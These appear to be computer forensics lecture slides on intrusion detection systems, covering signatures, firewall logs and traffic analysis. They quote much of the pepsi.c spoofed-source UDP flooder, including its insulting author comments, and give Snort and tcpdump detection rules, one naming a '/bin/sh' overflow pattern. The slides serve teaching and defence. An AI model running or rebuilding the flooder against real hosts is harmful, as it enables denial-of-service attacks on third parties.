COEN 252 Computer Forensics

Intrusion Detection Systems

IDS Overview Intrusion Detection System

Host based Network based (NIDS) System Integrity Verifiers (SIV) Log File Monitors Deception Systems (decoys,

honeypots)

IDS Architecture Raw packet logging

Too much traffic, hence: Attack detection:

Attack Signatures Can only find known attacks

Anomaly Detection Finds deviations from normal traffic But what is normal traffic?

IDS Architecture Host Based Intrusion Detection

Looks for changes to critical files. Tripwire. Detection of change and recovery to

known good states already provided by MS Windows.

Provide this system with access control.

IDS Architecture False positives:

Alarms are ringing, but there is no fire. E.g.

NIDS reported login attempts. From within the network, but from remote site. Logs showed that logons were attempt to

access unavailable network resources. Traced to workstations attempting to access

an antivirus software update server.

IDS Architecture False Negatives.

Stealth scans: Traffic at slow rate. Suspicious traffic can be legitimate:

User forgot password. DoS attacks can be hard to distinguish

from heavy traffic

IDS Architecture NIDS placement

NIDS limited by traffic. Switched environments make NIDS

difficult to place. On network perimeter:

Both sides of firewalls.

IDS Operations Anomaly Detection

Based on statistical anomalies, compared with

CPU utilization Disk activity User logins File activity, etc.

Does not have to understand the cause.

IDS Operations Application protocol verification

Invalid protocol behavior, such as WinNuke WinNuke attacker sends “out-of-band” /

“urgent” data to port 139 on a Win95 system. Unusual behavior such as DNS cache

poisoning. Simple create new logs that can then

later be correlated with other system logs to show what happened.

IDS ExampleUDP Flooding January 199908:10:10 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF)08:10:10 bobadilla.echo > 192.210.19.198.666: udp 426 (DF)08:10:17 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF)08:10:17 bobadilla.echo > 192.210.19.198.666: udp 426 (DF)08:10:22 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF)08:10:22 bobadilla.echo > 192.210.19.198.666: udp 426 (DF)08:10:28 bobadilla.echo > 192.210.19.62.666: udp 1024 (DF)08:10:28 bobadilla.echo > 192.210.19.62.666: udp 426 (DF)08:10:35 bobadilla.echo > 192.210.19.198.666: udp 1024 (DF)08:10:35 bobadilla.echo > 192.210.19.198.666: udp 426 (DF)08:10:49 bobadilla.echo > 192.210.19.62.666: udp 1024 (DF)08:10:49 bobadilla.echo > 192.210.19.62.666: udp 426 (DF)08:11:05 bobadilla.echo > 192.210.19.62.666: udp 1024 (DF)08:11:05 bobadilla.echo > 192.210.19.62.666: udp 426 (DF)

IDS ExampleUDP Flooding January 1999 Example of the Pepsi UDP flood.

Send out UDP packages as fast as possible

Sends UPD packages with a spoofed return address to an echo port (at Bobadilla).

Echo returns it to the source address. Two systems under attack.

IDS Examplepepsi.c found on Internet/* * pepsi.c * Random Source Host UDP flooder * * Author: Soldier@data-t.org * * [12.25.1996] * * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd, * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^ * Toasty, [shadow], [magnus] and silitek, oh and Data-T. * * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity, * Yakuza for ripping my code, #cha0s on the undernet for trying to port * it to win95, then ircOpers on efnet for being such cocksuckers * especially prae for trying to call the fbi on me at least 5 times. * all warez pups i don't know for ripping off honest programers. * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego * the size of california. * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker, * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN * INTERNET HISTORY, AMM. * * * Disclaimer since i don't wanna go to jail * - this is for educational purposes only * */

IDS Examplepepsi.c found on Internet#define FRIEND "My christmas present to the

internet -Soldier" #define VERSION "Pepsi.c v1.6" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1

IDS Examplepepsi.c found on Internet

void usage(char *pname) {

printf("usage:\n "); printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait]

<dest>\n\n", pname); printf("\t-s <src> : source where packets are comming from\n"); printf("\t-n <num> : number of UDP packets to send\n"); printf("\t-p <size> : Packet Size [Default is 1024]\n"); printf("\t-d <port> : Destination Port [Default is %.2d]\n", DSTPORT); printf("\t-o <port> : Source Port [Default is %.2d]\n", SRCPORT); printf("\t-w <time> : Wait time between packets [Default is 1]\n"); printf("\t<dest> : destination \n"); printf("\n"); exit(EXIT_SUCCESS);

}

IDS Examplepepsi.c found on Internet

if (srchost && *srchost) ip->saddr = resolve(srchost);

ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize);

IDS Examplepepsi.c found on Internet

if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts("[*] Error sending Packet"); perror("SendPacket");

exit(EXIT_FAILURE); }

IDS Examplepepsi.c found on Internet

This is almost the complete code. Default ports are defined, but can be

overwritten. Port 666 is used by Doom game. User input allows change from

default values. Package is crafted. And sent.

IDS and Firewalls Firewalls perturb traffic:

Three way handshake is disrupted. Firewall logs are primary evidence

and are primary method of intrusion detectin.

IDS and Firewalls Firewall Log

IP packet discarded from 222.168.40.21 for port 1880.

IP packet discarded from 222.168.40.21 for port 1882.

IP packet discarded from 222.168.40.21 for port 1881.

This firewall log gives us a fact, but not enough to figure out what is happening.

Is this TCP? UDP?

IDS and Firewalls Another log from a different vendor:

UDP packet dropped: Source 123.4.56.78, 2820, WAN – Destination 169.8.27.38 33430 LAN - - Rule 33

This entry gives us enough information: Source port, destination port, protocol.

Traceroute from outside web server.

IDS and Firewalls Yet another log:

Myhost kernel: IN=eth0 OUT = MAC = 00:80:80:80:98:ae:3e:32:12:45:a0 SRC=1.1.1.1 Dst=192.168.127.45 LEN=38 TOS = 0x00 PREC=0x00 TTL=1 ID=31758 PROTO=UDP SPT=32789 DPT=33433

This is another traceroute. Best log seen.

IDS and Signatures Signature Types

Header-based: Inspect the packet header Pattern-matching: Match for content string

Atomic: match in a single packet Stateful: match on reassembled packets

Protocol-based: Inspect based on RFC Heuristic-based: Inspect based on statistics Anomaly-based:

IDS and Signatures Header-based:

Destination port TCP 139 and Out of Band

tcpdump “dst port 139 and tcp[13] & 0x20!=0 and tcp[18]!=0”

Detects the old WinNuke attack. WinNuke packets go to NetBIOS ports

such as 139, have an urgent flag set, and have a non-zero urgent value.

IDS and Signatures Pattern-matching: looking for the

tsig overflow attempt. alert udp $External_Net any -> $Home_Net 53 \

(msg: “Exploit named tsig overflow attempt”;\content: “|80 00 07 00 00 00 00 00 01 3F 00 01 02|/bin/sh”;

Snort rule looking for a pattern for a BIND transaction signature tsig code.

Looks for specific byte code to UDP destination port 53.

IDS and Signatures Heuristic-based

Look for large ICMP packets alert icmp any -> $HOME_NET (msg:\

“Large ICMP packet”; dsize > 800); Such large ICMP packets are unusual.

IDS and Signatures Encryption:

Back Orifice uses a simple encryption scheme to protect its packet payload.

All BO packets start with *!*QWTY? Barbwire uses Blowfish encryption.

Challenge for string searches.

IDS and Signatures Fragmentation

Allows to hide attack strings. Stateful analysis is more cumbersome.

Too Generic Superscan:

4500 0024 c5eb 0000 6f01 a144 4201 f789c08a 6b42 0800 fc46 0200 f9b8 0000 00000000 0000 0000 0000 0000 0000 0000

alert icmp !$HOME_NET any -> $ HOME_NET any (msg: “Superscan echo”; content “|00000000000000000000|”; itype:8; dsize: 8;)

Too many matches.

Traffic Analysis Look for crafted packets:

Cheops uses TCP with both SYN and FIN flag set. This is impossible in normal TCP.

Basic traffic characteristics To, from, date, time Information on source host Weight or severity Size, service, type class

Tiny fragments, e.g. generated by nMap. Strange TTL values

Traffic Analysis Link Graphs

A message passing from A to B generates a link between A and B.

Links are weighted by the number of connections.

Traffic Analysis Link Graphs

Ping Scan

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Traffic AnalysisIntellitactics NSM

Traffic Analysis Short Time Profile Changes

Profile: Statistics on connections, port spread, services, etc.